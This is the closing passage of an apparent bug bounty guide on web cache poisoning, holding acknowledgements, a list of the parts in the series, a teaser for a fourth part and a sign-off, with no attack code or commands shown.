- HackerOne Community — For disclosed reports that educated us all
- Every researcher cited — For sharing knowledge openly
Support the Research
If this guide helped you earn bounties, consider:
- Sharing it with the community (redacted for responsible disclosure)
- Contributing your own findings
- Mentoring newcomers
- Citing this work in your research
End of The Cache Poisoning Bible — Part 3
Full Series:
- Part 1: Advanced Fundamentals
- Part 2: Exotic Header Exploitation
- Part 3: Advanced Weaponization ← You are here
Stay tuned for: The Cache Poisoning Bible — Part 4: Automation & Scale (Coming Soon)
May your caches be vulnerable and your bounties be high. 🚀
Last Updated: November 2025